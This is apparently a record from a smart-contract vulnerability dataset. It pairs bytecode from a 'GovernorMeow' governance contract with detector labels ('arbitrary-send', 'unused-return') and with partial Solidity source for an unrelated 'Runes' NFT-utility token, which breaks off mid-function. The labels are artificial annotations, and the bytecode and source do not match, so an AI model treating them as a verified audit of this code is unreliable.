040357600080fd5b5061040c61107b565b6040516101d6919061340f565b34801561042557600080fd5b506101f461108a565b34801561043a57600080fd5b506101f46104493660046122fe565b611090565b34801561045a57600080fd5b5061024361046936600461245b565b6114ab565b34801561047a57600080fd5b506101f461171a565b34801561048f57600080fd5b506104a361049e366004612479565b611726565b6040516101d6919061358c565b3480156104bc57600080fd5b5061040c611795565b6102436104d336600461245b565b6117a4565b60086020819052600091825260409091208054600182015460028301546007840154948401546009850154600a860154600b9096015494966001600160a01b039094169592949192909160ff8082169161010090041689565b60035481565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105bd5780601f10610592576101008083540402835291602001916105bd565b820191906000526020600020905b8154815290600101906020018083116105a057829003601f168201915b505050505081565b6105d0338383611969565b5050565b60096020526000908152604090205481565b6040516105f2906131b6565b604051809103902081565b6006546001600160a01b031633146106305760405162461bcd60e51b81526004016106279061352c565b60405180910390fd5b6004546040516001600160a01b0390911690630825f38f90829060009061065b9087906020016131cc565b604051602081830303815290604052856040518563ffffffff1660e01b815260040161068a94939291906131f5565b600060405180830381600087803b1580156106a457600080fd5b505af11580156106b8573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526106e09190810190612426565b505050565b60015481565b6060806060806000600860008781526020019081526020016000209050806003018160040182600501836006018380548060200260200160405190810160405280929190818152602001828054801561076d57602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161074f575b50505050509350828054806020026020016040519081016040528092919081815260200182805480156107bf57602002820191906000526020600020905b8154815260200190600101908083116107ab575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156108925760008481526020908190208301805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561087e5780601f106108535761010080835404028352916020019161087e565b820191906000526020600020905b81548152906001019060200180831161086157829003601f168201915b5050505050815260200190600101906107e7565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156109645760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156109505780601f1061092557610100808354040283529160200191610950565b820191906000526020600020905b81548152906001019060200180831161093357829003601f168201915b5050505050815260200190600101906108b9565b5050505090509450945094509450509193509193565b60015b90565b600081600754101580156109945750600082115b6109b05760405162461bcd60e51b81526004016106279061344c565b6000828152600860205260409020600b81015460ff16156109d5576002915050610b02565b806007015443116109ea576000915050610b02565b806008015443116109ff576001915050610b02565b80600a01548160090154111580610a1b57506001548160090154105b15610a2a576003915050610b02565b6002810154610a3d576004915050610b02565b600b810154610100900460ff1615610a59576007915050610b02565b610aec8160020154600460009054906101000a90046001600160a01b03166001600160a01b031663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b158015610aaf57600080fd5b505afa158015610ac3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610ae79190810190612408565b611b32565b4210610afc576006915050610b02565b60059150505b919050565b6000610b1282610980565b90506007816007811115610b2257fe5b1415610b405760405162461bcd60e51b81526004016106279061349c565b60008281526008602052604090206006546001600160a01b0316331480610c0657506002546005546001838101546001600160a01b039283169263782d6fe192911690610b8e904390611b5e565b6040518363ffffffff1660e01b8152600401610bab929190613244565b60206040518083038186803b158015610bc357600080fd5b505afa158015610bd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610bfb9190810190612541565b6001600160601b0316105b610c225760405162461bcd60e51b81526004016106279061350c565b600b8101805460ff1916600117905560005b6003820154811015610d2e576004546003830180546001600160a01b039092169163591fcdfe919084908110610c6657fe5b6000918252602090912001546004850180546001600160a01b039092169185908110610c8e57fe5b9060005260206000200154856005018581548110610ca857fe5b90600052602060002001866006018681548110610cc157fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610cf09594939291906132e1565b600060405180830381600087803b158015610d0a57600080fd5b505af1158015610d1e573d6000803e3d6000fd5b505060019092019150610c349050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610d5e919061336f565b60405180910390a1505050565b6006546001600160a01b031681565b6000604051610d88906131b6565b60405180910390206000604051610d9f9190613179565b6040518091039020610daf611b86565b30604051602001610dc3949392919061337d565b6040516020818303038152906040528051906020012090506000604051610de9906131c1565b604051908190038120610e0291899089906020016133b2565b60405160208183030381529060405280519060200120905060008282604051602001610e2f929190613185565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610e6c94939291906133da565b6020604051602081039080840390855afa158015610e8e573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610ec15760405162461bcd60e51b81526004016106279061343c565b610ecc818a8a611969565b505050505050505050565b6006546001600160a01b03163314610f015760405162461bcd60e51b81526004016106279061346c565b600680546001600160a01b0319169055565b600a90565b6006546001600160a01b03163314610f425760405162461bcd60e51b81526004016106279061348c565b6004546040516001600160a01b0390911690633a66f901908290600090610f6d9087906020016131cc565b604051602081830303815290604052856040518563ffffffff1660e01b8152600401610f9c94939291906131f5565b602060405180830381600087803b158015610fb657600080fd5b505af1158015610fca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506106e09190810190612408565b60025481565b6006546001600160a01b0316331461101e5760405162461bcd60e51b8152600401610627906134ec565b6004805460408051630e18b68160e01b815290516001600160a01b0390921692630e18b68192828201926000929082900301818387803b15801561106157600080fd5b505af1158015611075573d6000803e3d6000fd5b50505050565b6004546001600160a01b031681565b60075481565b600254600554600091906001600160a01b031663782d6fe1336110b4436001611b5e565b6040518363ffffffff1660e01b81526004016110d19291906131da565b60206040518083038186803b1580156110e957600080fd5b505afa1580156110fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506111219190810190612541565b6001600160601b0316116111475760405162461bcd60e51b81526004016106279061353c565b84518651148015611159575083518651145b8015611166575082518651145b6111825760405162461bcd60e51b81526004016106279061355c565b85516111a05760405162461bcd60e51b8152600401610627906134dc565b6111a8610f13565b865111156111c85760405162461bcd60e51b8152600401610627906134ac565b3360009081526009602052604090205480156112455760006111e982610980565b905060018160078111156111f957fe5b14156112175760405162461bcd60e51b81526004016106279061345c565b600081600781111561122557fe5b14156112435760405162461bcd60e51b81526004016106279061351c565b505b600061125343610ae761097a565b9050600061126382600354611b32565b6007805460010190559050611276611ce8565b604051806101a001604052806007548152602001336001600160a01b03168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060086000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550604082015181600201556060820151816003019080519060200190611359929190611d5d565b5060808201518051611375916004840191602090910190611dc2565b5060a08201518051611391916005840191602090910190611e09565b5060c082015180516113ad916006840191602090910190611e62565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff02191690831515021790555090505080600001516009600083602001516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e6040516114939998979695949392919061359a565b60405180910390a15193505050505b95945050505050565b60046114b682610980565b60078111156114c157fe5b146114de5760405162461bcd60e51b8152600401610627906134cc565b6000818152600860209081526040808320600480548351630d48571f60e31b815293519295946115389442946001600160a01b0390931693636a42b8f8938282019392909190829003018186803b158015610aaf57600080fd5b905060005b60038301548110156116e0576116d883600301828154811061155b57fe5b6000918252602090912001546004850180546001600160a01b03909216918490811061158357fe5b906000526020600020015485600501848154811061159d57fe5b600091825260209182902001805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561162b5780601f106116005761010080835404028352916020019161162b565b820191906000526020600020905b81548152906001019060200180831161160e57829003601f168201915b505050505086600601858154811061163f57fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116cd5780601f106116a2576101008083540402835291602001916116cd565b820191906000526020600020905b8154815290600101906020018083116116b057829003601f168201915b505050505086611b8a565b60010161153d565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610d5e90859084906136c8565b6040516105f2906131c1565b61172e611ebb565b5060008281526008602090815260408083206001600160a01b0385168452600c018252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046001600160601b0316918101919091525b92915050565b6005546001600160a01b031681565b60056117af82610980565b60078111156117ba57fe5b146117d75760405162461bcd60e51b81526004016106279061347c565b6000818152600860205260408120600b8101805461ff001916610100179055905b600382015481101561192d576004805490830180546001600160a01b0390921691630825f38f91908490811061182a57fe5b906000526020600020015484600301848154811061184457fe5b6000918252602090912001546004860180546001600160a01b03909216918690811061186c57fe5b906000526020600020015486600501868154811061188657fe5b9060005260206000200187600601878154811061189f57fe5b9060005260206000200188600201546040518763ffffffff1660e01b81526004016118ce9594939291906132e1565b6000604051808303818588803b1580156118e757600080fd5b505af11580156118fb573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f191682016040526119249190810190612426565b506001016117f8565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f8260405161195d919061336f565b60405180910390a15050565b600161197483610980565b600781111561197f57fe5b1461199c5760405162461bcd60e51b81526004016106279061354c565b60008281526008602090815260408083206001600160a01b0387168452600c8101909252909120805460ff16156119e55760405162461bcd60e51b81526004016106279061356c565b600554600783015460405163782d6fe160e01b81526000926001600160a01b03169163782d6fe191611a1b918a91600401613244565b60206040518083038186803b158015611a3357600080fd5b505afa158015611a47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611a6b9190810190612541565b90508315611a9457611a8a8360090154826001600160601b0316611b32565b6009840155611ab1565b611aab83600a0154826001600160601b0316611b32565b600a8401555b8154600160ff199091161761ff00191661010085151502176dffffffffffffffffffffffff00001916620100006001600160601b038316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611b22908890889088908690613252565b60405180910390a1505050505050565b600082820183811015611b575760405162461bcd60e51b8152600401610627906134bc565b9392505050565b600082821115611b805760405162461bcd60e51b81526004016106279061357c565b50900390565b4690565b6004546040516001600160a01b039091169063f2b0653790611bb89088908890889088908890602001613287565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611bea919061336f565b60206040518083038186803b158015611c0257600080fd5b505afa158015611c16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611c3a91908101906123ea565b15611c575760405162461bcd60e51b8152600401610627906134fc565b60048054604051633a66f90160e01b81526001600160a01b0390911691633a66f90191611c8e918991899189918991899101613287565b602060405180830381600087803b158015611ca857600080fd5b505af1158015611cbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611ce09190810190612408565b505050505050565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611db2579160200282015b82811115611db257825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611d7d565b50611dbe929150611edb565b5090565b828054828255906000526020600020908101928215611dfd579160200282015b82811115611dfd578251825591602001919060010190611de2565b50611dbe929150611eff565b828054828255906000526020600020908101928215611e56579160200282015b82811115611e565782518051611e46918491602090910190611f19565b5091602001919060010190611e29565b50611dbe929150611f86565b828054828255906000526020600020908101928215611eaf579160200282015b82811115611eaf5782518051611e9f918491602090910190611f19565b5091602001919060010190611e82565b50611dbe929150611fa9565b604080516060810182526000808252602082018190529181019190915290565b61097d91905b80821115611dbe5780546001600160a01b0319168155600101611ee1565b61097d91905b80821115611dbe5760008155600101611f05565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f5a57805160ff1916838001178555611dfd565b82800160010185558215611dfd5791820182811115611dfd578251825591602001919060010190611de2565b61097d91905b80821115611dbe576000611fa08282611fcc565b50600101611f8c565b61097d91905b80821115611dbe576000611fc38282611fcc565b50600101611faf565b50805460018160011615610100020316600290046000825580601f10611ff25750612010565b601f0160209004906000526020600020908101906120109190611eff565b50565b803561178f8161381c565b600082601f83011261202f57600080fd5b813561204261203d826136fd565b6136d6565b9150818183526020840193506020810190508385602084028201111561206757600080fd5b60005b83811015612093578161207d8882612013565b845250602092830192919091019060010161206a565b5050505092915050565b600082601f8301126120ae57600080fd5b81356120bc61203d826136fd565b81815260209384019390925082018360005b8381101561209357813586016120e488826121f3565b84525060209283019291909101906001016120ce565b600082601f83011261210b57600080fd5b813561211961203d826136fd565b81815260209384019390925082018360005b83811015612093578135860161214188826121f3565b845250602092830192919091019060010161212b565b600082601f83011261216857600080fd5b813561217661203d826136fd565b9150818183526020840193506020810190508385602084028201111561219b57600080fd5b60005b8381101561209357816121b188826121dd565b845250602092830192919091019060010161219e565b803561178f81613830565b805161178f81613830565b803561178f81613839565b805161178f81613839565b600082601f83011261220457600080fd5b813561221261203d8261371e565b9150808252602083016020830185838301111561222e57600080fd5b6122398382846137d0565b50505092915050565b600082601f83011261225357600080fd5b815161226161203d8261371e565b9150808252602083016020830185838301111561227d57600080fd5b6122398382846137dc565b803561178f81613842565b805161178f8161384b565b6000602082840312156122b057600080fd5b60006122bc8484612013565b949350505050565b600080604083850312156122d757600080fd5b60006122e38585612013565b92505060206122f4858286016121dd565b9150509250929050565b600080600080600060a0868803121561231657600080fd5b853567ffffffffffffffff81111561232d57600080fd5b6123398882890161201e565b955050602086013567ffffffffffffffff81111561235657600080fd5b61236288828901612157565b945050604086013567ffffffffffffffff81111561237f57600080fd5b61238b888289016120fa565b935050606086013567ffffffffffffffff8111156123a857600080fd5b6123b48882890161209d565b925050608086013567ffffffffffffffff8111156123d157600080fd5b6123dd888289016121f3565b9150509295509295909350565b6000602082840312156123fc57600080fd5b60006122bc84846121d2565b60006020828403121561241a57600080fd5b60006122bc84846121e8565b60006020828403121561243857600080fd5b815167ffffffffffffffff81111561244f57600080fd5b6122bc84828501612242565b60006020828403121561246d57600080fd5b60006122bc84846121dd565b6000806040838503121561248c57600080fd5b600061249885856121dd565b92505060206122f485828601612013565b600080604083850312156124bc57600080fd5b60006124c885856121dd565b92505060206122f4858286016121c7565b600080600080600060a086880312156124f157600080fd5b60006124fd88886121dd565b955050602061250e888289016121c7565b945050604061251f88828901612288565b9350506060612530888289016121dd565b92505060806123dd888289016121dd565b60006020828403121561255357600080fd5b60006122bc8484612293565b600061256b838361259a565b505060200190565b6000611b57838361273c565b600061256b8383612722565b6125948161379d565b82525050565b61259481613765565b60006125ae82613758565b6125b8818561375c565b93506125c383613746565b8060005b838110156125f15781516125db888261255f565b97506125e683613746565b9250506001016125c7565b509495945050505050565b600061260782613758565b612611818561375c565b93508360208202850161262385613746565b8060005b8581101561265d57848403895281516126408582612573565b945061264b83613746565b60209a909a0199925050600101612627565b5091979650505050505050565b600061267582613758565b61267f818561375c565b93508360208202850161269185613746565b8060005b8581101561265d57848403895281516126ae8582612573565b94506126b983613746565b60209a909a0199925050600101612695565b60006126d682613758565b6126e0818561375c565b93506126eb83613746565b8060005b838110156125f1578151612703888261257f565b975061270e83613746565b9250506001016126ef565b61259481613770565b6125948161097d565b6125946127378261097d565b61097d565b600061274782613758565b612751818561375c565b93506127618185602086016137dc565b61276a81613808565b9093019392505050565b60008154600181166000811461279157600181146127b4576127f3565b607f60028304166127a28187610b02565b60ff19841681529550850192506127f3565b600282046127c28187610b02565b95506127cd8561374c565b60005b828110156127ec578154888201526001909101906020016127d0565b5050850192505b505092915050565b600081546001811660008114612818576001811461283e576127f3565b607f6002830416612829818761375c565b60ff19841681529550506020850192506127f3565b6002820461284c818761375c565b95506128578561374c565b60005b828110156128765781548882015260019091019060200161285a565b9096019695505050505050565b612594816137a4565b612594816137af565b612594816137ba565b60006128ab602e8361375c565b7f476f7665726e6f724d656f773a3a63617374566f746542795369673a20696e7681526d616c6964207369676e617475726560901b602082015260400192915050565b60006128fb60288361375c565b7f476f7665726e6f724d656f773a3a73746174653a20696e76616c69642070726f8152671c1bdcd85b081a5960c21b602082015260400192915050565b600061294560578361375c565b7f476f7665726e6f724d656f773a3a70726f706f73653a206f6e65206c6976652081527f70726f706f73616c207065722070726f706f7365722c20666f756e6420616e2060208201527f616c7265616479206163746976652070726f706f73616c000000000000000000604082015260600192915050565b60006129ca600283610b02565b61190160f01b815260020192915050565b60006129e860358361375c565b7f476f7665726e6f724d656f773a3a5f5f61626469636174653a2073656e6465728152741036bab9ba1031329033b7bb1033bab0b93234b0b760591b602082015260400192915050565b6000612a3f60188361375c565b7f73657450656e64696e6741646d696e2861646472657373290000000000000000815260200192915050565b6000612a7860448361375c565b7f476f7665726e6f724d656f773a3a657865637574653a2070726f706f73616c2081527f63616e206f6e6c79206265206578656375746564206966206974206973207175602082015263195d595960e21b604082015260600192915050565b6000612ae460498361375c565b7f476f7665726e6f724d656f773a3a5f5f717565756553657454696d656c6f636b81527f50656e64696e6741646d696e3a2073656e646572206d75737420626520676f766020820152681033bab0b93234b0b760b91b604082015260600192915050565b6000612b5560358361375c565b7f476f7665726e6f724d656f773a3a63616e63656c3a2063616e6e6f742063616e81527418d95b08195e1958dd5d1959081c1c9bdc1bdcd85b605a1b602082015260400192915050565b6000612bac60278361375c565b7f476f7665726e6f724d656f773a3a70726f706f73653a20746f6f206d616e7920815266616374696f6e7360c81b602082015260400192915050565b6000612bf560118361375c565b706164646974696f6e206f766572666c6f7760781b815260200192915050565b6000612c22604383610b02565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b6000612c8d60438361375c565b7f476f7665726e6f724d656f773a3a71756575653a2070726f706f73616c20636181527f6e206f6e6c79206265207175657565642069662069742069732073756363656560208201526219195960ea1b604082015260600192915050565b6000612cf8602b8361375c565b7f476f7665726e6f724d656f773a3a70726f706f73653a206d7573742070726f7681526a69646520616374696f6e7360a81b602082015260400192915050565b6000612d45602783610b02565b7f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c20738152667570706f72742960c81b602082015260270192915050565b6000612d8e60388361375c565b7f476f7665726e6f724d656f773a3a5f5f61636365707441646d696e3a2073656e81527f646572206d75737420626520676f7620677561726469616e0000000000000000602082015260400192915050565b6000612ded60438361375c565b7f476f7665726e6f724d656f773a3a5f71756575654f725265766572743a20707281527f6f706f73616c20616374696f6e20616c7265616479207175657565642061742060208201526265746160e81b604082015260600192915050565b6000612e58602e8361375c565b7f476f7665726e6f724d656f773a3a63616e63656c3a2070726f706f736572206181526d189bdd99481d1a1c995cda1bdb1960921b602082015260400192915050565b6000612ea860588361375c565b7f476f7665726e6f724d656f773a3a70726f706f73653a206f6e65206c6976652081527f70726f706f73616c207065722070726f706f7365722c20666f756e6420616e2060208201527f616c72656164792070656e64696e672070726f706f73616c0000000000000000604082015260600192915050565b6000612f2d604b8361375c565b7f476f7665726e6f724d656f773a3a5f5f6578656375746553657454696d656c6f81527f636b50656e64696e6741646d696e3a2073656e646572206d757374206265206760208201526a37bb1033bab0b93234b0b760a91b604082015260600192915050565b6000612fa0603e8361375c565b7f476f7665726e6f724d656f773a3a70726f706f73653a2070726f706f7365722081527f766f7465732062656c6f772070726f706f73616c207468726573686f6c640000602082015260400192915050565b6000612fff60298361375c565b7f476f7665726e6f724d656f773a3a5f63617374566f74653a20766f74696e67208152681a5cc818db1bdcd95960ba1b602082015260400192915050565b600061304a60438361375c565b7f476f7665726e6f724d656f773a3a70726f706f73653a2070726f706f73616c2081527f66756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d616020820152620e8c6d60eb1b604082015260600192915050565b60006130b5602c8361375c565b7f476f7665726e6f724d656f773a3a5f63617374566f74653a20766f746572206181526b1b1c9958591e481d9bdd195960a21b602082015260400192915050565b600061310360158361375c565b747375627472616374696f6e20756e646572666c6f7760581b815260200192915050565b805160608301906131388482612719565b50602082015161314b6020850182612719565b5060408201516110756040850182613170565b6125948161378b565b612594816137c5565b61259481613791565b6000611b578284612774565b6000613190826129bd565b915061319c828561272b565b6020820191506131ac828461272b565b5060200192915050565b600061178f82612c15565b600061178f82612d38565b6020810161178f828461259a565b604081016131e8828561258b565b611b576020830184612722565b60a08101613203828761259a565b6132106020830186612895565b818103604083015261322181612a32565b90508181036060830152613235818561273c565b90506114a26080830184612722565b604081016131e8828561259a565b60808101613260828761259a565b61326d6020830186612722565b61327a6040830185612719565b6114a26060830184613167565b60a08101613295828861259a565b6132a26020830187612722565b81810360408301526132b4818661273c565b905081810360608301526132c8818561273c565b90506132d76080830184612722565b9695505050505050565b60a081016132ef828861259a565b6132fc6020830187612722565b818103604083015261330e81866127fb565b905081810360608301526132c881856127fb565b6080808252810161333381876125a3565b9050818103602083015261334781866126cb565b9050818103604083015261335b818561266a565b905081810360608301526132d781846125fc565b6020810161178f8284612722565b6080810161338b8287612722565b6133986020830186612722565b6133a56040830185612722565b6114a2606083018461259a565b606081016133c08286612722565b6133cd6020830185612722565b6122bc6040830184612719565b608081016133e88287612722565b6133f5602083018661315e565b6134026040830185612722565b6114a26060830184612722565b6020810161178f8284612883565b6020810161178f828461288c565b60208082528101611b57818461273c565b6020808252810161178f8161289e565b6020808252810161178f816128ee565b6020808252810161178f81612938565b6020808252810161178f816129db565b6020808252810161178f81612a6b565b6020808252810161178f81612ad7565b6020808252810161178f81612b48565b6020808252810161178f81612b9f565b6020808252810161178f81612be8565b6020808252810161178f81612c80565b6020808252810161178f81612ceb565b6020808252810161178f81612d81565b6020808252810161178f81612de0565b6020808252810161178f81612e4b565b6020808252810161178f81612e9b565b6020808252810161178f81612f20565b6020808252810161178f81612f93565b6020808252810161178f81612ff2565b6020808252810161178f8161303d565b6020808252810161178f816130a8565b6020808252810161178f816130f6565b6060810161178f8284613127565b61012081016135a9828c612722565b6135b6602083018b61258b565b81810360408301526135c8818a6125a3565b905081810360608301526135dc81896126cb565b905081810360808301526135f0818861266a565b905081810360a083015261360481876125fc565b905061361360c0830186612722565b61362060e0830185612722565b818103610100830152613633818461273c565b9b9a5050505050505050505050565b6101208101613651828c612722565b61365e602083018b61259a565b61366b604083018a612722565b6136786060830189612722565b6136856080830188612722565b61369260a0830187612722565b61369f60c0830186612722565b6136ac60e0830185612719565b6136ba610100830184612719565b9a9950505050505050505050565b604081016131e88285612722565b60405181810167ffffffffffffffff811182821017156136f557600080fd5b604052919050565b600067ffffffffffffffff82111561371457600080fd5b5060209081020190565b600067ffffffffffffffff82111561373557600080fd5b506020601f91909101601f19160190565b60200190565b60009081526020902090565b5190565b90815260200190565b600061178f8261377f565b151590565b80610b0281613812565b6001600160a01b031690565b60ff1690565b6001600160601b031690565b600061178f825b600061178f82613765565b600061178f82613775565b600061178f8261097d565b600061178f82613791565b82818337506000910152565b60005b838110156137f75781810151838201526020016137df565b838111156110755750506000910152565b601f01601f191690565b6008811061201057fe5b61382581613765565b811461201057600080fd5b61382581613770565b6138258161097d565b6138258161378b565b6138258161379156fea365627a7a7231582001c2774e4e87bcf7a7e61947cb345468ffc29dd81c4c452f20fc54b0b32982a96c6578706572696d656e74616cf564736f6c63430005110040
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,797 |
0x4725b46a4aaec99b6bb29bcb47d72735dbe79e7b
|
/**
*Submitted for verification at Etherscan.io on 2022-02-04
*/
// SPDX-License-Identifier: MIT
// This is a ERC-20 token that is ONLY meant to be used as a extension for the Mysterious World NFT Project
// The only use case for this token is to be used to interact with The Mysterious World.
// This token has no monetary value associated to it.
// Read more at https://www.themysterious.world/utility
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// The interface is used so we can get the balance of each holder
interface TheMysteriousWorld {
function balanceOf(address inhabitant) external view returns(uint256);
function ritualWallet() external view returns(address);
}
/*
* 888d888888 88888888b. .d88b. .d8888b
* 888P" 888 888888 "88bd8P Y8b88K
* 888 888 888888 88888888888"Y8888b.
* 888 Y88b 888888 888Y8b. X88
* 888 "Y88888888 888 "Y8888 88888P'
*/
contract Runes is ERC20, Ownable {
TheMysteriousWorld public mysteriousworld;
uint256 public deployedStamp = 0; // this is used to calculate the amount of $RUNES a user has from the current block.timestamp
uint256 public runesPerDay = 10 ether; // this ends up being 25 $RUNES per day. this might change in the future depending on how the collection grows overtime.
bool public allowRuneCollecting = false; // this lets you claim your $RUNES from the contract to the wallet
mapping(address => uint256) public runesObtained; // this tracks how much $RUNES each address earned
mapping(address => uint256) public lastTimeCollectedRunes; // this sets the block.timestamp to the address so it subtracts the timestamp from the pending rewards
mapping(address => bool) public contractWallets; // these are used to interact with the burning mechanisms of the contract - these will only be set to contracts related to The Mysterious World
constructor() ERC20("Runes", "Runes") {}
/*
* # onlyContractWallets
* blocks anyone from accessing it but contract wallets
*/
modifier onlyContractWallets() {
require(contractWallets[msg.sender], "You angered the gods!");
_;
}
/*
* # onlyWhenCollectingIsEnabled
* blocks anyone from accessing functions that require allowRuneCollecting
*/
modifier onlyWhenCollectingIsEnabled() {
require(allowRuneCollecting, "You angered the gods!");
_;
}
/*
* # setRuneCollecting
* enables or disables users to withdraw their runes - should only be called once unless the gods intended otherwise
*/
function setRuneCollecting(bool newState) public payable onlyOwner {
allowRuneCollecting = newState;
}
/*
* # setDeployedStamp
* sets the timestamp for when the $RUNES should start being generated
*/
function setDeployedStamp(bool forced, uint256 stamp) public payable onlyOwner {
if (forced) {
